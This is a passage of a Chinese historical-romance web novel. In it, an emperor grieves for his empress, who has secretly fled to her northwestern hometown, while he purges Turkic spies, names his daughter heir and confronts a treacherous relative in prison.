谢敛知道他们这些被净身的内侍注定无子,所以会把情感寄托在那些跟在身边的小太监身上,李德全是母妃的人,他自然是对他有几分的信任。 “小安子留不得。”他道。 这一次春猎的一些细节,也是他故意与李德全说,他知晓李德全会无意间透露给小安子,再由小安子传递给京中的突厥三王子。 这一切都是他的计划之内,如今突厥王子下落不明,京中剩下的那些暗桩都会被他一一拔除,小安子自然也在其中。 李德全闻言跪伏在地的身体变 得更加佝偻,他没有要替小安子辩驳的意思,只是小安子陪了他这么多年,他早已将小安子当做亲儿子,最后他叹了口气,道:“求陛下给他留个全尸。” 座上的男人没有说话。 “罢了,他自作孽,方才的话陛下就当老奴没有说过。” 半晌,李德全再次道。 谢敛仍旧没有给出任何的态度,他垂眸看向李德全,才发现这位跟在他身边许久的内侍已经老了,母妃还在的时候,先帝待他不好,在母妃被先帝霸占着的时候,都是李德全陪在他身边照顾他。 也是为数不多给过他温暖的人。 “就依你的。” 谢敛起身路过时道。 李德全没想到他会松口,跪着转了个方向对着他的背影深深一拜。 谢敛脚下的步子没有停,直接前往金銮殿的偏殿。 他走到一幅画前停下,抬眸看向那副画。 画上的女子坐在秋千架上,安静地微微仰头看心情远处的天空,神情中带着一抹不易察觉的愁绪。 这是他与薛弗玉成亲第三年的时候,趁着她不注意的时候偷偷画的。 画完之后被他藏了起来,再后来他登基之后,就被带到了金銮殿的偏殿里放着。 当初昭昭不小心弄坏的时候,他其实是有些惊慌,担心会被玉姐姐看到,担心自己掩藏了几年的小心思被她发觉,所以才会借故对昭昭生气,借此转移她的视线,不让她留意到那副被他珍视了几年的画。 他害怕被她看穿自己的心思。 他总是不愿意承认,早在旧宫日日的相处之中,她不知不觉已经在占据了他的心。 如今他只觉得后悔,后悔没能最开始就与她解释,其实他从来都没有喜欢过薛明宜,那时候薛明宜闯入他的生活,他也只是把对方当成朋友。 更是因为薛岐当初的话不肯与她表明心迹。 “玉姐姐,我后悔了,抱歉,是我不好。” 他苍白的指尖抚上画里的那张熟悉的脸,哑声道。 画上被撕坏的部分被小心翼翼地粘好,突然有水珠掉落在雪白的宣纸上。 男人顿时慌张地用袖子轻轻把那处给擦干,生怕这幅画被破坏了 “陛下已经在书房对着那副画枯坐了一夜了。”一名内侍焦急地对李德全道。 那幅画上画的是谁,在金銮殿伺候的内侍都知晓,只是他们不明白,为何皇后娘娘明明就在凤鸾宫,只不过是生病了,陛下实在是想见皇后娘娘,何不直接去凤鸾宫见娘娘? 为何还要在偏殿对着一幅画睹物思人。 真是奇怪。 李德全用拂尘敲了一下那内侍的头:“好好伺候,别揣测圣意。” 内侍被打了一下倒也不痛不痒,他露出讨好的笑:“李公公,要不您进去请陛下用早膳,奴才不敢。” 李德全对着他摆了摆手:“滚滚滚,真是看着就来气。” 说着他带着宫人送了早膳进去。 等他走进去的时候,却见谢敛还坐在书房的案前一动不动。 “陛下” 这还是他第一次见到这样颓废的谢敛,他跟在他身边这么多年,即便是争储差点失败的那一次,也没见他露出这样的神情。 难不成是皇后娘娘出事了? 可不是说皇后娘娘只是因为在春猎受了惊吓病倒了吗? “去将那些大臣都召来,三天后就是春闱,朕还有要事与他们商议。” 正在他想不通的时候,却听见那边的男人起身吩咐。 他忙提醒道:“陛下就算是不用早膳,也得洗漱一番。” 就陛下现在这幅模样去见那些大臣们,怕是会吓到他们。 谢敛扫了李德全一眼,最终还是听话地换了一身衣裳,又洗了把脸让自己清醒了些。 等见完那群大臣,谢敛又接着处理堆积的奏疏。 谢敛以为只有自己忙起来,才不会整天都想着她,谁知道只要他稍微一停,脑中就会出现她的身影,甚至偶尔还能听见她的声音在耳边响起。 他觉得自己大约是疯了—— 作者有话说:点错了直接发表了[躺平] 既然发早了顺便征集一下大家想看什么番外,参考参考[求你了]《 》 60-70 第61章 京中的突厥暗桩被全部拔除的时候,朝野上下一片哗然,先帝在时就曾有突厥人安插在各家权贵的家中探听消息,原本以为先帝在时已经清除完了,没想到还留下了许多余孽。 跟着而来的自然是清算知情的官员,乃至与突厥勾结的官员。 幸而在谢敛继位后,京中大多官员见识过他的手段,自然是不会轻易被突厥人收买,所以被清算的官员人数不多。 但是诏狱还是快要放不下犯人了。 自谢敛归京之后,他这几天都是没日没夜的处理突厥的问题,除此之外就是等待薛弗玉的消息。 李德全看着每日睡不足两个时辰的陛下,担心得人都苍老了许多。 然而无论他怎么劝,甚至跪下求他好好休息,换来的也只是对方的无视。 第十天的时候,陆骞带了消息回来。 谢敛听见他的话,身体几不可察地晃了一下,他一只手撑在案上才能勉强让自己站稳,脸上露出一瞬茫然的神情,很快又被不信给取代。 玉姐姐不可能会死的,他不相信! “陛下,皇后娘娘的遗体还在北镇抚司停着,可要找个时间昭告天下?”陆骞垂下眼眸,不敢去看谢敛的表情。 “住口!朕的皇后还没死,你在胡说什么!” 阴沉的嗓音在金銮殿中响起,压抑到了极点的气氛笼罩在陆骞的头顶,他立刻跪下了下,不敢抬眸看站在御座前男人失态的样子。 他派出去的人在悬崖底下那条河流下游找到了一具女尸,那女尸还穿着那日皇后娘娘掉下去时的衣裳,只是脸和身体已经泡得发肿,根本看不出原来的样子。 只能依靠身上穿的衣裳才能依稀辨认出是皇后娘娘的遗体。 底下的人没日没夜地找了许久,他身为上峰,自然也希望这件事赶紧了结,好让他们能好好休息,只是看如今的样子,陛下怕是不愿意相信皇后娘娘已经去世的事实。 金銮殿内陷入死寂之中,陆骞跪在冷硬的地板上,静静垂眸,耐心等待着上首的男人发作。 然而过了半晌,却只听见他略带沙哑的嗓音道:“出去。” 简单的两个字仿佛用尽了所有的力气。 陆骞在心里叹了口气,很快就退下。 等他离开之后,谢敛才觉得身上的力气都被抽光了,重重地跌坐在御座之上。 “玉姐姐,是我不好,我不该把你一个人留在那里,都怪我” 谢敛面目憔悴,那双往日里漆黑沉寂的黑眸,此时却像是要沁出许多的血泪。 方才听见陆骞说找到她的尸身时,他的心似乎也跟着死掉了,那种撕心裂肺的感觉,比那天亲眼看着她掉下山崖还要痛苦。 而这一切都是他造成的,是他害了玉姐姐。 他害了自己这辈子最爱的人。 在看见她掉下山崖的那一刻,他终于看清楚了自己的心,终于不再自欺欺人,她早已深深地刻在了他的心底,任何关于她的一切,都能牵扯到他的血肉。 如今陆骞告诉他,她死了,那种有什么要从他的血肉中硬生生剥离的痛苦,让他痛得弓起了身体,原 本就苍白的脸色此时变得惨白,紧接着猛咳几声。 最终像是不能承受一般,一口腥甜涌上喉间。 李德全进来的时候,正好看见他吐出一口鲜血。 他顿时吓得忙上前:“陛下,您这是怎么了,来人,快去叫太医!” 李德全一边吩咐内侍,一边给他递了一杯热茶。 谢敛只是怔怔地看着眼前吐出的鲜血,他推来李德全送上前来的茶盏,想要说他大惊小怪。 然而不等他说话,他眼前便一黑晕了过去。 耳边只剩李德全惊呼的声音。 在彻底陷入黑暗之前,谢敛还想着要是此时他死了,是不是就能和薛弗玉在一起了,有他在的话,玉姐姐一个人在路上也不会孤单,不会害怕。 再次睁开眼睛的时候,眼前是一片熟悉的帐子,此时他已经被移回了紫宸殿。 他挣扎着坐起身想要下榻,发现身体有些沉,很快他就想起了晕倒前的事情,顿时一颗心如同被刀子插入翻绞,他脸色发白地捂着胸口处,感觉到它在猛烈地跳动。 李德全这时候正好带着人端了煎好的药进来,此时看见他醒了,立刻紧张道:“陛下,您还是快些坐好别动,张太医说了您这些日子一直在忙碌,没有休息好,心神受损,所以才会晕倒,身子正是虚弱的时候。” 谢敛抿着唇角,双眸盯着一处没有说话。 此时的他身上只穿着一件中衣,让李德全一下就看出了他比起去春猎前瘦了许多,他不知道到底发生了什么,最终只能归结于近来陛下忙于政事,没有好好吃饭睡觉导致的。 “陛下,你不为了自己的身体,也要考虑下皇后娘娘和公主,若是您病倒了,娘娘和公主都会担心的!” 李德全再次劝道。 然而榻上的男的还是不为所动,但是在听见皇后娘娘的时候,脸色又苍白了几分。 紫宸殿安静得仿佛只能听见针尖落地的声音,最终李德全只听见他哑声问:“公主怎么样了?” 这几日陛下回来后对生病的皇后娘娘不闻不问,开口问的却是公主,李德全虽然心中有疑惑,但还是道:“公主这几日见不到皇后娘娘很着急,陛下这边又忙着政事,也没空见公主,公主哭闹了几回,也被宫人给哄好了。” 提起昭昭,谢敛想起先前薛弗玉曾问过他,会不会一如既往地待昭昭好。 当时他只当她是无意间问的这话,可如今细想来,却察觉到了几分的不对劲。 不容他细想,心脏处又因为想起她而传来阵阵抽痛。 他白着脸把手捂在心脏处,对着李德全道:“晚上朕去瞧公主。” 若是玉姐姐知道自己回来的这些天没有去看昭昭,一定会生他的气。 说完之后又让人把药端来干脆地喝了。 玉姐姐不在,他还有昭昭这个女儿,若是他没有照顾好昭昭,玉姐姐知道了定会难过。 喝完之后,他又不顾李德全的阻止下了榻,并且让人去传召两位宰辅和六部尚书。 —— 薛弗玉已经上了往西北去的官道。 这一路上为了避免引起不必要的麻烦,她特意换上了朴素的衣裳,脸上也抹了些黑粉,遮掩住了自己原本的样貌。 她这张脸实在太惹眼,虽然阿弟安排了几个人护送她们,但是到底担心路上会出现什么意外。 这一天在马车里昏昏欲睡的时候,薛弗玉只觉得心脏突然抽痛了一下,她皱着眉头睁开眼睛,想要再次感受的时候,却迟迟没有了那种感觉。 许是错觉罢了,她再次闭上了眼睛。 算了算时间,还有半个月她就能回到西北了。 她很想回他们一家人以前住的宅子看看,也不知道那宅子如今怎么样了,阿弟有没有时不时回去打扫。 等她回去后,大约会继续在那里住下,在充满了父母回忆的地方,或许自己就不会那样迷惘了。 阿爹,阿娘,不知道我这一次的决定是对,还是错。 她在心里道。 一旁的楚莹隐约能感觉到她最开始是高兴的,但是渐渐的这几天下来,她总觉得皇后娘娘偶尔会露出一点愁绪。 身为旁观者,她曾想要试图去理解,最终自然因为她们的处境不同而不能感同身受,她只能归结于皇后娘娘是想远在宫里的公主了。 半个月后,马车终于到了位于西北的邑沧郡,薛弗玉生长了十九年的故乡。 也是曾在宫中远远遥望也望不到的故乡。 距离十一年的时间,她终于又回来了。 当初若不是为了完成父亲的夙愿,她根本不会想着离开这里。 薛弗玉独自一人走到了薛宅的院门前。 门口如今没了房门看守,变得空落落的,让薛弗玉的心也跟着空了一块。 薛宅似乎一点也没有变,就像她当初走的时候一样。 她扶棺去京城前给了家里的奴仆一笔钱,然后遣散了他们,此时回来推开门进去后,却发现里头的整洁得很,倒像是有人打扫过一般。 她眼中微微诧异。 “姑娘?” 一道苍老的声音从身后传来,薛弗玉心神一动,转身对上一张带着激动的脸。 “陈伯,你怎么在这里?” 她语气中带着讶异,当初她分明记得陈管事也和那些奴仆一道离开了。 陈管事还以为是自己老花眼了,没想到眼前的人真的是姑娘,他激动得上前见礼:“我还以为姑娘不会再回来了,当年姑娘心善,临走前给了咱们这些下人一大笔钱,我心中想着无功不受禄,拿着这些钱到底是心有不安,所以给自己留了把钥匙,每隔十日就会带人前来打扫宅子。” 他从年轻时就跟在薛老将军的身边,见证了薛老将军娶妻生子到逝世,对薛家早已不是单纯的主仆,更是将他们当做了亲人。 那年姑娘要扶棺回京的时候,他原是想跟着去的。 但是姑娘却只道路途遥远,不忍他跟着受累,又不能留着他独守在薛宅,所以只好给了他一笔丰厚的报酬,让他自去营生。 薛弗玉见此,心中自然是感动,也明白了,邑沧郡的人大约也不知道她如今做了皇后。 也是,父亲从未与外人说过,他们与京中的薛家有关系。 如今那些人只知道京城薛家出了个皇后,却不知那位皇后正是薛老将军之女。 她扶住陈管事的手,柔声道:“陈伯,您如今已经不是薛家的管事了,我怎么还能让你做这些,不过我倒是有件事想要请您帮忙,我想买几个丫鬟小厮在家里,需要你帮我留意一下。” 陈管事道:“姑娘何必与我这般客气,丫鬟小厮姑娘也不用担心,这事只管交给我去办。” 有人愿意帮她的忙,她自然是高兴的,“那就有劳陈伯了,陈伯只管替我挑些好的来,钱不是问题。” 陈管事连连称是。 她的母亲出身商贾,去世前给她留了好些值钱的东西,她在邑沧郡还有好几处的铺子与田地,这些东西当时离开的时候她不好带走,便都交给信得过的人帮着她打理。 且每年的营收都会有人专门送到京中,再由碧云悄悄命人送了给她查看。 所以她即便是没有带走谢敛给她的那些金银珠宝,她在邑沧郡仍旧算是上是富有的。 那些母亲留给她的东西,足以让她富足一生。 陈管事看着陷入沉思的女子,一直想问的话终于是问出了口:“姑娘这些年过得可还好,可有嫁人?” 薛弗玉除了不想让他知晓自己曾是皇后这一事,其他的倒是没有瞒着他:“回京后我祖母给我找了个人家,不过后来我那夫君身子不好去了,如今回来这里,也是婆家同意我与那去了的夫君和离。” 大周这种丈夫死了女子和离改嫁的事常有,所以陈管事并未所有怀疑,只是安慰道:“姑娘这样好的人,日后也不愁找不到想要娶你的。” “这些事以后再说吧。”薛弗玉心不在焉道。 她离开谢敛之后,本也没打算继续嫁人,再者她的身份特殊,万一她逃跑的事情败露,谢敛找到她的时候发现她不仅骗了他还嫁了人,大约会连累旁人。 如今她只想好好地在西北过自己的日子,不愿去回想从前的那些事。 至于其他的事情,她暂时不想考虑。 陈管事是看着她从小长大的,一眼便看出了她有心事,他知道她这些年经历了很多,十几岁父母接连走了,独自带着幼弟上京投奔祖母一家。 听她说夫君死得早便知道那祖母没有给她找什么好人家,想来她这十一年来过得苦,他叹了口气道:“如今姑娘重新回到了家中,姑娘要是肯的话,我想要继续回来伺候姑娘,姑娘在这里举目无亲,我看着也不放心。” 薛弗玉惊讶地看向他:“陈伯,这怎么可以?” 陈管事道:“姑娘答应我吧,自姑娘带着少爷上京去了后,我总是会想起从前在薛宅的日子,想起老爷和夫人还在时的场景,好不容易把姑娘给盼回来了,姑娘就念在主仆情分上,让我替姑娘打理薛宅吧。” 薛弗玉看着眼眶泛红的陈管事,心中一时百感交集,最终还是心软答应了:“我答应你,只是那些粗活以后不要再做了,等买了丫鬟小厮就交给他们去做。” 陈管事得了她的首肯,连连称是。 送走陈管事后,薛弗玉路过父母从前住的地方,看了一眼房门种的那棵枣树,心中不知是何滋味。 那是她和阿弟一起栽下的,如今已经长成了大树。 “阿爹,阿娘,我回来了。”她轻声道。 回应她的只有风吹树叶沙沙的声音 远在千里之外的皇宫。 谢敛忙完政事之后,又忙着赶去了棠梨宫,亲自照顾昭昭用完饭后,陪着她玩了小半个时辰让她消食,最后又哄着她去洗漱,等守着她睡着。 他才觉得身上的疲累像是一座大山一样倾压了下来。 自那日晕倒后,他每日都要来棠梨宫照看昭昭。 连续半个多下来,心里对薛弗玉的愧疚也越来越深,他从前只觉得有宫人在,照顾一个小孩子不会累。 如今他才明白,昭昭这么小,不是什么事都能交给宫人去做的,更多的时候还需要亲力亲为。 看着熟睡的女儿,他沉默地坐在床边,替她掖了掖被子。 昭昭的身侧还有一只薛弗玉亲手缝的玩偶兔子。 他下意识想要去拿,最终移开目光,看向窗外的满月。 玉姐姐,你到底在哪里…… 他不信她真的死了,他宁愿相信玉姐姐只是去了一个他不知晓地方,在那里生活着。 谢敛正暗自伤神,谁知道李德全突然蹑手蹑脚进来,小声道:“陛下,西北传来急报!” 第62章 谢敛回到金銮殿,很快就有人给他递上急报。 等他展开急报看见上面的内容之后,脸色顿时阴沉得可怕。 突厥人于半个月前进犯西北边境,称他们的三王子被大周的皇帝杀了,他们要为三王子报仇。 谢敛按下那张急报,冷笑一声。 提起三王子,他瞬间就被怒火给包围,突厥人贼心不死,想要动摇大周,趁着春猎的时候不仅想要他的命,更是让他失去了玉姐姐,这笔账他还没有同他们算。 如今倒好,自己主动送死! “来人,传刘均宋璋二人即刻进宫,朕有要事与他们商议。” 谢敛深吸了一口气,压下心里的怒气,冷静道。 内侍听见上首男人冷冰冰的命令声,赶紧应声,不敢有丝毫的怠慢。 不到半个时辰的时间,刘均和宋璋二人就匆匆进宫。 他们进来的时候,只见上首的男人沉着一张脸,他们可以明显地感觉到他的心情可以说是差到了极点,身上似乎在极力压抑着怒气。 “看看。” 他让李德全把案上的急报拿下去给他们二人。 刘均从李德全的手上接过急报,才看了几行字之后,脸上的深色瞬间就凝重了起来,他赶紧把后面的内容全部看完,又给了站在一旁的宋璋看。 等宋璋看完,刘均的脸上已经换上了严肃的神情,他对着谢敛道:“陛下,突撅此番前来犯我边境,想来是蓄谋已久,且这个理由也太过牵强,那三王子本来就是要行刺陛下,他死了也是自己咎由自取,咱们没有找他们讨要说法已经是格外开恩,他们如今倒好,竟然敢倒打一耙。” 宋璋趁着刘均说话的时候,打量了一番御座上的男人,果真听见刘均后面的话时,谢敛的脸上闪过一抹痛色。 自春猎回来之后,宫中一直在传皇后娘娘缠绵病榻的消息,如今已经一个多月,仍旧没有传闻皇后娘娘病好的消息,让他隐隐觉得有些不对劲,这其中一定有什么是他不知道的。 皇后娘娘一定是在那日出了什么事。 他曾试图联系薛岐想要打探消息,结果薛岐在扫清京中突厥势力没多久,也彻底联系不上了,大约是回了西北。 “突厥民风彪悍,一向不注重中原的礼仪,从前先帝在时就屡次想要抢大周的城池,陛下登基前大周还曾被抢走了一块城池,幸而薛老将军拼命将城池夺了回来,此番突厥再次挑衅,明显不把大周放在眼里。”宋璋跟着道。 刘均觉得他的话有道理,他揣测了一番谢敛的意思,问:“今日突厥又故技重施,意图染指我大周的疆土,咱们该如何应对,是战还是讲和,主战的话有薛将军在,薛将军曾打败过突厥军队,应付起来有经验,若是讲和,也可以从宗室中挑选一位女子封为公主前往突厥皇庭和亲。” 宋璋听见和亲二字,下意识皱了皱眉头,他道:“陛下,此事事关重大,还需要请兵部尚书一同商议才好。” 他的话倒是提醒了刘均,若是真的要商议战或者是和,陛下不会单独只召了他们两位前往金銮殿,应该还有兵部尚书才对。 很快他就明白了,陛下此番召见他们二人,真正的目的不在突厥。 谢敛瞧见他们的神色,知道他们回味过来了。 他缓缓道:“皇后自春猎受惊后一直病着,张太医说了她身子弱不宜再有孕,今日朕找你们二人前来,为的是立储一事。” 刘均道:“陛下膝下只有公主一人,如要立储——” 说到一半的时候他反应过来,陛下不曾有后宫,如今也只有皇后娘娘生下的公主,眼下陛下与他们提起要立储,那是要立谁为储君,总不能是立公主吧? 这个想法冒出来的时候,刘均自己都觉得不可思议,从古至今,他还从没有见过哪位帝王是立自己的女儿为储君的。 “怎么不说了?”上首的男人一双锐利的眼神扫向刘均,后者立刻低下了头。 他道:“陛下还年轻,依老臣之见,立储一事还是不必着急。” 既然皇后娘娘不能生了,等过些时间陛下想通了,说不定就会广开后宫选秀,届时不管是哪位妃嫔诞下皇子,只要抱去皇后娘娘的膝下养着,不就是有了嫡子的身份? 说完他感觉落在自己身上的目光变得冷冰冰,他顿时感觉自己额头上的汗冒了出来。 一旁的宋璋感觉到了不同寻常,这种紧急的时候应该商议的难道不是如何应对突厥?陛下却突然问起立储之事,让他更加的觉得事阿弗出事了。 然而他的面上不显,只是附和道:“正如刘大人所说,陛下与皇后娘娘福泽绵长,陛下如今商议立储确实为时尚早。” 谢敛知道他们二人各怀心思,然而立储一事在春猎前他已经做好了打算,他原是想要给薛弗玉一个定心丸的,在春猎之际透露立公主为储的打算,只是没想到因为他的计划,会害得她掉下悬崖,至今下落不明。 至于陆骞停放 在北镇抚司的那具女尸,他至今都不认,也不愿意去承认。 如今过了一个多月,于伤痛中他方才细细回味起来,那日的疑点颇多,只待他一一查证,便可知晓真相。 可不管真相是如何,她确实是真的不愿呆在他的身边了。 如今突厥进犯,倒是给了他一个赎罪的机会。 “两位大人的意思朕已经明了,只是朕早已做好了这个打算,如今也不过是告知两位大人,而不是征求二位的意见。” 他的话一出,刘均宋璋的脸上皆是露出意外的神情。 “陛下的意思是,已经想好了要过继哪一位宗室子到皇后娘娘的膝下了?”刘均认真地问。 他想着那些大臣劝了皇帝这么多年选秀都没用,只会让陛下更加厌恶,到了如今再劝怕是会惹了陛下不悦,还不如顺着陛下的意,至少能让自己在朝堂上好过些。 谢敛眉目疏冷,淡淡扫了他一眼:“朕与皇后有孩子,何须要过继旁人的孩子?” 刘均不明所以问:“陛下是说皇后娘娘如今有了身孕?” 这倒是让他有些意外,陛下怎么还在这种紧要关头骗他们娘娘不会再有孕了。 语罢听见御座上的男人冷哼一声:“刘均,你是老糊涂了?” 他怀疑刘均是故意装傻的。 这回换刘均一头雾水,陛下说不用从宗室过继一个孩子,那不就是说皇后娘娘已经有身孕了吗,除此之外还有什么? 倒是宋璋明白了谢敛的意思,虽然他对于自己的这个猜想觉得有些荒谬,但还是试探地问出了口:“陛下的意思,是想要立公主为皇太女吗?” 宋璋今日难得能说出让谢敛满意的话,只见他的话音才落,上首的男人脸上冰冷的神色缓和了些,他微微点头:“正如宋爱卿所言,朕确实有立公主为储君的打算。” “不可!” 刘均想也没想就立刻拒绝,大周开国百年,从未有立皇太女的先例。 “为何不可?” 刘均说完后果然有一道寒光扫向他,然而为了社稷,他这一次没有怂,而是迎着那道冷冰冰的视线,硬着头皮道:“自大周开国以来,从来没有立女子为储君的先例,且女子本就柔弱,不如男子,如何能担当得起治理国家的大任,若真的让女子当帝王,岂不是乱了套?” 这话他自觉的很有点道理,说完之后还颇为得意地等着身旁宋璋的赞同。 谁知道过了一会儿都没有听见宋璋说话,他悄悄瞄了宋璋一眼,却见对方似乎陷入了沉思,好像在思考立公主为储这件事是否可行。 半晌,上首的男人沉声道:“刘爱卿,朕方才说过了,只是在告知你们这件事,让你们心中有个准备,而不是在征求你们的意见。” 刘均没想到他方才说了那些多,他们的陛下是一个字也没有听见去,顿时被气得吐血,他疯狂地朝着宋璋使眼色,想要拉着他一起劝阻陛下的这个决定。 结果宋璋一开口,差点让刘均真的一口老血喷了出来。 “想来这个决定陛下已经经过深思熟虑,臣没有异议。” 只要是阿弗的孩子,不管是男是女,他都会尽心辅佐,只是他很想知道,阿弗如今到底是什么情形,以及为何陛下这样着急立储。 刘均没想到宋璋瞬间就倒戈,他突然觉得自己很无助,发现陛下得了宋璋的支持后,看向他的眼神变得似笑非笑,顿时后背出了一身冷汗。 只是为了一直以来的规矩,他还是想要继续坚持。 谢敛早已看穿了他的想法,对着他幽幽道:“不知刘爱卿可还记得几年前在金銮殿死谏的几位大人?” “臣不敢忘。” 这件事刘均自然是记得的,当年陛下登基才一年,就有大臣打着孝道的名义,想让陛下追封生母为皇太后,与先帝葬在一处,结果是陛下根本就不听。 那些人便想学史上死谏的臣子,没想到陛下压根没有要拦着他们的意思,最终真有两位气盛的一时冲动碰死在了金銮殿。 然而只得来了陛下不咸不淡的两个字:愚蠢。 他们便知晓了这位陛下与先帝不一样,先帝是懒得理政事,多是大臣做决定,尤其是在容昭仪去世之后,先帝更是像变了个人,整日里寻仙问道,所有政事几乎都扔给了他们。 而他们现在的这位陛下,是位事事都要过问的主儿,手段狠辣,下定了主意的事情几乎没有动摇的。 “既然没有忘,就做好表率,可明白?”谢敛语气带着帝王威严,不容拒绝。 刘均最终只能在心里唉声叹气地离开,一想到自己要等陛下在朝堂上公布立储之事,第一个站出来同意,还要与那些老谋深算的同僚打嘴炮,试图说服他们,他就觉得自己的头很痛。 “宋爱卿还有事?” 见刘均已经离开,而宋璋却突然折返,谢敛神色微动。 宋璋并不如刘均一样怵他,只是对着他一拜,然后问道:“臣有一事想要问陛下,皇后娘娘她的身体可还好?” 大殿中很快就陷入沉寂之中。 谢敛垂眸看向殿中站着的青年,发现他即便是身为臣子,对着他也没有卑躬屈膝的感觉。 空气中仿佛有什么在无声对峙,良久,只听见座上的男人似笑了一声,“宋爱卿和朕的皇后是何关系?还劳烦你记挂这么久。” 宋璋其实早已察觉到,以谢敛的身份,想要知道什么并不难,尤其是上一次因为春闱一事的刻意针对,更是让他明白,谢敛已经知晓了他和阿弗的过去。 只是这种时候,却不能承认,他只好道:“臣与皇后娘娘是同乡,皇后娘娘的家人曾帮助过臣的一家,臣心中对皇后娘娘一家心存感激,故得知娘娘的病一直没好,所以心中担忧。” 薛老将军在世时确实对他们家颇多照拂,他这样说的确不算是欺骗。 只不过他隐瞒自己与阿弗的青梅竹马之宜而已。 “皇后的病有太医院的几位太医诊治,宋爱卿不必担心。” 谢敛静静看着面露感激的青年,心中却只有冷笑,宋璋越是瞒着他和薛弗玉的事情,就越是证明他的心中有鬼。 换做是从前,他必然会妒火中烧。 可如今薛弗玉已经 他不再去想,也不愿再看见宋璋,挥了挥手让他退下。 不多时,他又让李德全秘密传兵部尚书户部尚书及左右侍郎来见。 刘均问他是主战还是讲和,他早已有了决断,他从未想过讲和,就凭突厥安插细作在京中,以及突厥三王子行刺一事,就注定不会善了。 更何况如今又进犯西北边境,他要彻底将突厥人打退,至少让他们在几十年内不敢再进犯大周。 直到兵部尚书等人离开的时候,已经是两个时辰之后的事情了。 谢敛走出金銮殿,抬头望向被夕阳余晖洒满的天际,以往这个时候,薛弗玉偶尔会带着昭昭前来看他。 母女俩相似的脸一同出现在殿门前,他每每见了,心中都会生出满足。 如今空荡荡的大殿门口,只有前面那棵绿色梧桐树依旧在。 “陛下,公主那边差不多该用晚膳了。” 李德全看着他寂寥的背影,忍不住出声提醒。 他已经好久没有见到皇后娘娘了,这一个多月来,都是陛下亲力亲为在照顾公主,陛下一次都没有进过皇后娘娘的凤鸾宫。 都在传皇后娘娘缠绵病榻,可他总觉得这其中有很奇怪的地方。 然而他也知道,就算他心中有疑惑,也不能问出口。 谢敛照常看着昭昭用完了晚膳,又哄着她说她的阿娘需要静养一段时间,不能前去打扰,最终才把人给哄睡了。 吩咐完宫人要小心伺候公主后,他出了棠梨宫。 翌日,他亲自去了一趟诏狱。 诏狱的一间牢房中,薛明宜正蜷缩着身子坐在墙角。 从她被抓到这里已经快一个月的时间了。 春猎结束后,她得知二姐姐病重,她便想借着这个机会听从姑母的话引诱陛下,可不等她进宫,就被人告知突厥三王子在春猎企图刺杀陛下,最终掉下悬崖。 很快京中的突撅势力全部都被拔除,就在她惴惴不安的时候,陛下召她进宫了。 没想到等来的不是男人的怜惜,而是北镇抚司。 最开始她还想着谢敛是故意吓她的,结果时间久了,她便知道自己的事情败露,陛下终于是按捺不住要对她动手了。 可是她不甘心,她做这些事明明是都是被那些人逼的,是迫不得已。 耳边突然响起沉稳的脚步声,这脚步声与每日前来给她送饭的声音不同,直到一道高大的身影停留在牢门前,她抬头看去,正好看见男人淡漠的脸。 第63章 “陛下,求您放了妾,妾没有做错什么,快放妾出去!” 薛明宜见了谢敛,仿佛捉住了救命稻草一般,被关了快一个月 的时间,她早已没了任何的体面,身上蓬头垢面的,哪里还像什么成王妃,看着就和牢里其他的女犯没什么区别。 她狼狈地上前,伸出手想要抓住谢敛的袖子,结果男人在看见她的时候,眼中闪过嫌恶,在她就要碰到他的袖子时往后退了几步。 薛明宜瞧见他脸上一闪而过的厌恶,伸出去的手顿时僵住。 “你没有错?” 男人似嗤笑了一声,他的声音带着冷淡:“你与突厥三王子勾结,成王兄的死与你脱不了干系,于回京的路上联合突厥企图杀了薛岐,后又在上元夜让薛家替你找了几个人,想要趁乱制造意外害死皇后,还有护国寺皇后中药一事也与你有关,这些,难不成都是被人冤枉的?” 他最开始想着薛明宜的手中,还拿着成王在世时搜集的西北一带某些官员勾结突厥的证据,以及想要从她身上下手找到突厥人的藏窝点。 才一直没有对她动手。 如今突厥在京中的势力全部都被他拔除,只剩下成王搜集的证据在她身上,不过也不重要了,那份名单前几日从她的贴身丫鬟口中拷问出了下落。 薛明宜听完他的话,脸色顿时变得惊慌,她紧紧抓住牢房的木杆,激动地反驳道:“陛下,妾都是被那突厥三王子逼迫的,妾也没有想过要害皇后娘娘,皇后娘娘是妾的亲堂姐,妾怎么可能会要害她!” 谢敛瞧着她面上惊慌的模样,像是在看什么好笑的事,他唇边勾出一抹冷笑:“你若真当她是你的姐姐,最开始不就该让薛家人逼着她代你嫁给朕,不该在回京之后还想着勾引自己的姐夫,你害她的时候可有想过她是你的姐姐?” 他虽然口口声声质问她这些,但还是有些庆幸当年要不是薛明宜贪图富贵,不愿意嫁给他,不然他也不会娶到玉姐姐,与玉姐姐生儿育女。 薛明宜听着他的质问,突然惨淡地笑了起来:“陛下如今说这些,不觉得心虚吗?” 果真她说完之后,见谢敛的脸色瞬间沉了下去,她似乎觉得自己已经穷途末路了,于是不怕死地继续道:“妾承认,妾不仅勾结突厥三王子害死成王,妾还想继续害死皇后姐弟二人,妾只后悔自己的心不够狠,不然他们姐弟二人早死了,明明他们拥有的东西都是妾的,凭什么他们二人风光,妾就要在西北那种地方陪着成王吃苦!妾不甘心!” 当初她和薛家都以为成王得先帝看重,是最有望成为储君的人,所以才会选择嫁给成王,谁知道在嫁给成王后,他会突然自请前往封地! 更不甘心的是,曾经被她抛弃的未婚夫会在争储的路上杀出一条血路,最后坐上皇位! “当初的路是你自己选的,怨不得旁人。” 谢敛看着眼前这个状似癫狂的女子,只觉得年少时的自己瞎了眼,那时候还以为眼前的人与那些人不同。 如今看来,却也没什么不同。 “妾只是想要自己过得好一点,难道还有错?倒是皇后娘娘,陪着你一起吃苦,如今什么都没得到,陛下忌惮她与三哥哥手中的兵权,一直给她喝避子药,陛下和妾又有什么不同? 陛下要治妾这些罪,可有想过皇后也是出身薛家,妾的罪证一旦被陛下公开,皇后和薛岐也跑不掉!” 薛明宜红着一双眼睛,就像是找到了什么把柄一样。 却不料眼前的男人的脸色丝毫没有变化,片刻后,她听见他道:“薛老将军连你们薛家的族谱都没进,皇后和薛岐算薛家哪门子的亲戚?” “不可能!他们本来就是薛家人——” 薛明宜说到一半的时候自己顿住了,她脸色愈发难看,祖母竟是没有骗她,当年真的没有让二叔上自己的族谱。 原因是祖母怀疑二叔根本不是祖父好友的遗孤,而是祖父在外面养的外室的孩子,所以祖母不喜欢这个所谓的养子,早早把人给打发去了西北。 “你如今还有什么话可说?” 谢敛本在她死前还想拉着薛弗玉姐弟二人当垫背而生出几分怒火,结果如今看她这情形,便也知晓,薛弗玉姐弟确实和薛家没有任何的关系。 